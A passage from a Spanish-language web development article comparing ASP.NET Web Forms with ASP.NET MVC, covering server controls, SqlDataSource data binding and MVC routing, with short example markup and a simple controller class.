<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <table cellspacing=<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"0"</span> style=<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"width:100%;border-collapse:collapse;"</span>></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <tr></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <td style=<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"width:15%;"</span>></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <a href=<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"javascript:__doPostBack('Calendar1','V4383')"</span> style=<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"color:Black"</span> title=<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"Go to the previous month"</span>>&lt;</a></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> </td></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <td align=<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"center"</span> style=<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"width:70%;"</span>>febrero de <span class="cs__number" style="border: 0px; color: red; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">2012</span></td></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <td align=<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"right"</span> style=<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"width:15%;"</span>></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <a href=<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"javascript:__doPostBack('Calendar1','V4443')"</span> style=<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"color:Black"</span> title=<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"Go to the next month"</span>>&gt;</a></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> </td></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> </tr></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> </table></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> </td></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> </tr></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <tr></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <th align=<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"center"</span> abbr=<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"lunes"</span> scope=<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"col"</span>>lun</th></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <th align=<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"center"</span> abbr=<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"martes"</span> scope=<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"col"</span>>mar</th></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <th align=<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"center"</span> abbr=<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"miércoles"</span> scope=<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"col"</span>>mié</th></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <th align=<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"center"</span> abbr=<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"jueves"</span> scope=<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"col"</span>>jue</th></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <th align=<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"center"</span> abbr=<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"viernes"</span> scope=<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"col"</span>>vie</th></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <th align=<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"center"</span> abbr=<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"sábado"</span> scope=<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"col"</span>>sáb</th></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <th align=<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"center"</span> abbr=<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"domingo"</span> scope=<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"col"</span>>dom</th></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"></tr></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> …</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"></table></li>
</ol>
</code></pre>
</div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<span style="background-color: white;">Algunos controles soportan mecanismos más avanzados de personalización, como la funcionalidad <em style="border: 0px; font-family: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">Auto Format</em> que permite aplicar distintos esquemas de colores y estilos sobre el control de forma completamente visual, de nuevo sin necesidad de tocar ni una sola línea de código.</span></div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<span style="background-color: white;"><img align="" alt="" src="http://i.msdn.microsoft.com/hh984854.003(es-es,MSDN.10).jpg" style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;" title="" /></span></div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<span style="background-color: white;">En definitiva, dos características importantes de ASP.NET Web Forms son la simplificación del desarrollo web y la reducción de la cantidad de código necesario para conseguir una determinada funcionalidad.</span></div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<strong style="background-color: white; border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px;">3 – Ecosistema de controles de terceros</strong></div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<span style="background-color: white;">ASP.NET Web Forms es una tecnología madura entorno a la cual se ha construido un importante ecosistema de empresas especializadas en desarrollar controles de gran calidad. Algunas de estas empresas como Telerik, Infragistics o Devexpress, desarrollan controles utilizados en miles de aplicaciones Web Forms en Internet. Utilizar este tipo de controles de terceros en lugar de optar por el desarrollo propio puede suponer un importante ahorro de tiempo y dinero, y en muchas ocasiones retornar mejores resultados.</span></div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<strong style="background-color: white; border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px;">4 – Acceso a datos simplificado</strong></div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<span style="background-color: white;">La mayoría de aplicaciones web consumen y manipulan datos. Por ello ASP.NET Web Forms soporta un amplio abanico de orígenes de datos, e implementa controles específicos para simplificar el acceso a los orígenes de datos más comunes como bases de datos, ficheros XML, objetos de negocio o modelos de datos de Entity Framework. Los controles de tipo origen de datos (<em style="border: 0px; font-family: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">data source</em>) son controles sin elementos gráficos asociados, que permiten a otros controles de servidor enlazar con los orígenes de datos de forma completamente declarativa.</span></div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<span style="background-color: white;">Los controles <em style="border: 0px; font-family: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">data source</em> se pueden crear declarativamente o en modo gráfico desde la vista de diseño de Visual Studio. Por ejemplo, el control<em style="border: 0px; font-family: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">SqlDataSource</em> debe como mínimo indicar la cadena de conexión al origen de datos y la consulta a ejecutar para recuperar los datos deseados. </span></div>
<div class="CodeHighlighter" style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin: 0px; outline: 0px; padding: 0px; word-wrap: break-word;">
<pre style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; outline: 0px; padding: 0px; white-space: pre-wrap;"><code class="csharp" id="c_4a8b3e4aae8a4e979d064df2a06eaf14" style="border: 0px; font-family: 'Courier New', Courier, monospace; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;"><ol style="background-color: white; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; line-height: 1.5; margin: 12px 0px 12px 12px; outline: 0px; padding: 16px;">
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"><asp:SqlDataSource ID=<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"EmployeeSqlDataSource"</span> runat=<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"server"</span> </li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> ConnectionString=<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"<%$ ConnectionStrings:ConnectionString %>"</span> </li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> SelectCommand=<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"SELECT * FROM [Employee] ORDER BY [Id]"</span>></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"></asp:SqlDataSource></li>
</ol>
</code></pre>
</div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<span style="background-color: white;">En el modo gráfico de la vista de diseño podemos hacer lo mismo siguiendo los pasos por los que nos guía un <em style="border: 0px; font-family: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">wizard.</em></span></div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<span style="background-color: white;"><img align="" alt="" height="320" src="http://i.msdn.microsoft.com/hh984854.004(es-es,MSDN.10).jpg" style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;" title="" width="400" /></span></div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<span style="background-color: white;">Una vez creados los controles de origen de datos, podemos configurarlos como la propiedad <em style="border: 0px; font-family: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">data source</em> de otros controles de servidor con elementos gráficos, y así enlazarlos con un origen de datos de forma declarativa.</span></div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<span style="background-color: white;"><img align="" alt="" height="215" src="http://i.msdn.microsoft.com/hh984854.005(es-es,MSDN.10).jpg" style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;" title="" width="400" /></span></div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<strong style="background-color: white; border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px;">5 – Menor cantidad de código y menor complejidad que ASP.NET MVC</strong></div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<span style="background-color: white;">Debido a todo lo anterior, en definitiva las aplicaciones ASP.NET Web Forms requieren desarrollar menor cantidad de código que las aplicaciones ASP.NET MVC por lo que se adaptan mejor a equipos de desarrollo más reducidos.</span></div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<span style="background-color: white;"><br /></span></div>
<h1 style="border: 0px; clear: both; color: #3a3e43; font-family: 'Segoe UI Semibold', 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 22px; line-height: 1.25; margin: 5px 0px; outline: 0px; padding: 0px;">
<span style="background-color: white;">ASP.NET MVC</span></h1>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<br /></div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<span style="background-color: white;">En marzo de 2009 se hizo pública la primera versión de ASP.NET MVC. El patrón de arquitectura MVC (model-view-controller) no es nuevo (data de 1979) ni es algo que haya inventado Microsoft. Existen muchos <em style="border: 0px; font-family: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">frameworks</em> de desarrollo web populares que utilizan MVC, como por ejemplo Ruby on Rails, Spring o Apache Struts. MVC es un patrón de arquitectura que ayuda a crear una separación lógica entre el modelo (la lógica de acceso a datos), la vista (la lógica de presentación) y el controlador (la lógica de negocio).</span></div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<span style="background-color: white;">Uno de los pilares básicos de ASP.NET MVC es el concepto de enrutamiento (<em style="border: 0px; font-family: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">routing</em>), lo que permite a las aplicaciones aceptar peticiones a URLs que no se corresponden con ficheros físicos en el servidor. Por ejemplo, en ASP.NET Web Forms las URLs tienen el siguiente formato “http://website/products.aspx?category=dvd” en el que físicamente existe un fichero <em style="border: 0px; font-family: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">products.aspx</em> en la raíz del sitio web. En MVC la misma URL tendría el siguiente aspecto “http://website/products/dvd” sin que el servidor web necesariamente contenga una carpeta <em style="border: 0px; font-family: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">products</em> con una subcarpeta <em style="border: 0px; font-family: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">dvd</em>. De forma predeterminada, ASP.NET MVC enruta las peticiones al controlador y a la vista adecuada en función de la URL. Es decir, en el ejemplo anterior, nos devolverá la vista <em style="border: 0px; font-family: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">dvd</em> del controlador <em style="border: 0px; font-family: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">products</em>.</span></div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<span style="background-color: white;">Este es el aspecto que tiene un proyecto ASP.NET MVC en Visual Studio, que para quién haya trabajado en proyectos Web Forms notará cambios significativos:</span></div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<span style="background-color: white;"><img align="" alt="" src="http://i.msdn.microsoft.com/hh984855.001(es-es,MSDN.10).jpg" style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;" title="" /></span></div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<span style="background-color: white;">El controlador es la pieza responsable de responder a las peticiones realizadas contra la aplicación ASP.NET MVC mediante distintas “acciones”, por ejemplo devolviendo una vista determinada, redireccionando la petición a un controlador distinto, etc. En el caso más básico, las acciones de un controlador se limitan a devolver vistas. En el siguiente ejemplo, el controlador <em style="border: 0px; font-family: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">products</em> implementa dos acciones que devuelven las vistas <em style="border: 0px; font-family: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">index</em> y <em style="border: 0px; font-family: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">dvd</em>.</span></div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<br /></div>
<div class="CodeHighlighter" style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin: 0px; outline: 0px; padding: 0px; word-wrap: break-word;">
<pre style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; outline: 0px; padding: 0px; white-space: pre-wrap;"><code class="csharp" id="c_877b5912b2294ec2ac5a1150d20bfe39" style="border: 0px; font-family: 'Courier New', Courier, monospace; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;"><ol style="background-color: white; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; line-height: 1.5; margin: 12px 0px 12px 12px; outline: 0px; padding: 16px;">
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"><span class="cs__keyword" style="border: 0px; color: navy; font-family: inherit; font-style: inherit; font-weight: bold; margin: 0px; outline: 0px; padding: 0px;">using</span> System.Web.Mvc;</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> </li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"><span class="cs__keyword" style="border: 0px; color: navy; font-family: inherit; font-style: inherit; font-weight: bold; margin: 0px; outline: 0px; padding: 0px;">namespace</span> AdventureWorks.Controllers</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;">{</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <span class="cs__keyword" style="border: 0px; color: navy; font-family: inherit; font-style: inherit; font-weight: bold; margin: 0px; outline: 0px; padding: 0px;">public</span> <span class="cs__keyword" style="border: 0px; color: navy; font-family: inherit; font-style: inherit; font-weight: bold; margin: 0px; outline: 0px; padding: 0px;">class</span> ProductsController : Controller</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> {</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <span class="cs__keyword" style="border: 0px; color: navy; font-family: inherit; font-style: inherit; font-weight: bold; margin: 0px; outline: 0px; padding: 0px;">public</span> ActionResult Index()</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> {</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> ViewBag.Message = <span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"Welcome to AdventureWorks online store!"</span>;</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> </li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <span class="cs__keyword" style="border: 0px; color: navy; font-family: inherit; font-style: inherit; font-weight: bold; margin: 0px; outline: 0px; padding: 0px;">return</span> View();</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> }</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> </li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <span class="cs__keyword" style="border: 0px; color: navy; font-family: inherit; font-style: inherit; font-weight: bold; margin: 0px; outline: 0px; padding: 0px;">public</span> ActionResult Dvd()</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> { </li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <span class="cs__keyword" style="border: 0px; color: navy; font-family: inherit; font-style: inherit; font-weight: bold; margin: 0px; outline: 0px; padding: 0px;">return</span> View();</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> }</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> </li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> }</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;">}</li>
</ol>
</code></pre>
</div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<span style="background-color: white;">Para entender mejor el concepto de enrutamiento y su relación con controladores y vistas, analicemos que ocurre si añadimos una nueva acción <em style="border: 0px; font-family: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">bluray</em> al controlador <em style="border: 0px; font-family: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">products</em> que quedaría expuesta en la URL http://website/products/bluray.</span></div>
<div class="CodeHighlighter" style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin: 0px; outline: 0px; padding: 0px; word-wrap: break-word;">
<pre style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; outline: 0px; padding: 0px; white-space: pre-wrap;"><code class="csharp" id="c_1681eedca13a4a06a7267ceea29d1ca2" style="border: 0px; font-family: 'Courier New', Courier, monospace; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;"><ol style="background-color: white; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; line-height: 1.5; margin: 12px 0px 12px 12px; outline: 0px; padding: 16px;">
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"><span class="cs__keyword" style="border: 0px; color: navy; font-family: inherit; font-style: inherit; font-weight: bold; margin: 0px; outline: 0px; padding: 0px;">public</span> ActionResult Bluray()</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;">{</li>
